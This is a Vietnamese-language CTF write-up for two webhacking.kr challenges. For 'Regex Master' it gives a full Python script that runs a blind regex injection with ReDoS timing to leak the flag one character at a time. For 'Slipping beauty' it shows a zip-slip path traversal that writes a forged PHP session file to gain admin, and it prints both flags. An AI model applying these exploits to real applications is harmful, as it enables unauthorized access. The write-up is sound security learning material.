WEBHACKING.KR - Regex Master & Slipping beauty

WEBHACKING.KR - Regex Master & Slipping beauty

Regex Master

http://regexmaster.webhacking.kr

Source code

source_code.png

Phân tích

Ở bài này source code rất đơn giản, chỉ kiểm tra xem biến flag có chứa chuỗi parttern (nhận từ GET request) hay không mà không hề xuất ra kết quả hay output nào khác. Sau một hồi suy nghĩ thì mình quyết định thử khai thác bằng blind regex injection + timing attack Để hiểu chi tiết hơn về kĩ thuật này các bạn có thể xem tại đây.

Khai thác

import requests
import sys
import time
import random
import string
import re

# constants
THRESHOLD = 1
url = 'http://regexmaster.webhacking.kr/?pattern='
# predicates


def length_is(n):
    return ".{" + str(n) + "}$"


def nth_char_is(n, c):
    if c == '/':
        return ".{" + str(n-1) + "}" + '\/' + ".*$"
    if c == '\\':
        return ".{" + str(n-1) + "}" + '\\\\' + ".*$"
    return ".{" + str(n-1) + "}" + re.escape(c) + ".*$"

# utilities


def redos_if(regexp, salt):
    return "^(?={})(((((.*)*)*)*)*)*{}".format(regexp, salt)


def get_request_duration(payload):
    # print(payload)
    try:
        r = requests.get(url+payload)
        duration = r.elapsed.total_seconds()
    except:
        duration = -1
        exit(1)
    # print(duration)
    return duration


def prop_holds(prop, salt):
    return get_request_duration(redos_if(prop, salt)) > THRESHOLD


def generate_salt():
    return ''.join([random.choice(string.ascii_letters) for i in range(10)])


# exploit
if __name__ == '__main__':
    # generating salt
    salt = generate_salt()
    while not prop_holds('.*', salt):
        salt = generate_salt()
    print("[+] salt: {}".format(salt))

    # leak length
    upper_bound = 100
    secret_length = 0
    for i in range(0, upper_bound):
        if prop_holds(length_is(i), salt):
            secret_length = i
            break
    print("[+] length: {}".format(secret_length))

    flag = "FLAG{"
    for i in range(5, secret_length):
        stop = 0
        for c in range(32, 128):
            if prop_holds(nth_char_is(i+1, chr(c)), salt):
                flag += chr(c)
                print("[*] {}".format(flag))
                stop = 1
                break
    print("[+] Flag: {}".format(flag))

FLAG{im_r/e/g/e/xmaster////}

Tham khảo

https://diary.shift-js.info/blind-regular-expression-injection


Slipping beauty

http://webhacking.kr:10015/

Source code

source_code.png

Phân tích

Vì tên chall là "slipping beauty" nên mình thử dùng file upload symlink zip nhưng không thành công vì zip wrapper sẽ không đọc được symlink zip nên mình sẽ tiếp cận theo hướng khác.

Từ wu này ta thấy được 1 thứ thú vị : By default, PHP stores its sessions in a serialized format in the directory /var/lib/php/sessions, in a file named sess_[session ID]

Vậy nếu ta lợi dụng hàm copy để copy nội dụng file upload exploit.zip với tên file đc zip là ../../../../var/lib/php/session/sess_myphpsseid nhằm mục đích ghi file ở bên phía server thì sao? Để làm được điều đó thì ta cần tìm 1 tool để có thể zip file chứa các chacracter đặc biệt như / hay . Sau 1 hồi search mình tìm được một tool trên github

Tiếp theo ta xem cách PHP lưu session:

php_sess_file.png

Ok thế file session t cần tạo sẽ có nội dung là uid|s :5 : "admin" Để ý rằng file name sẽ bị thêm 1 vào 1 số random nên việc ta cần làm là tạo 1 file với tên là sess_ và nội dung như trên, sau khi nhận được số random đó thì paste vào cookie để solve chall này 😊

Khai thác

Script để tạo file upload:

exp_step.png

Và upload:

response.png

Cuối cùng ta set trong cookie: PHPSESSID=24094577 và load lại trang để server dùng session này.

result.png

FLAG{my_zip_is_slipping_beauty}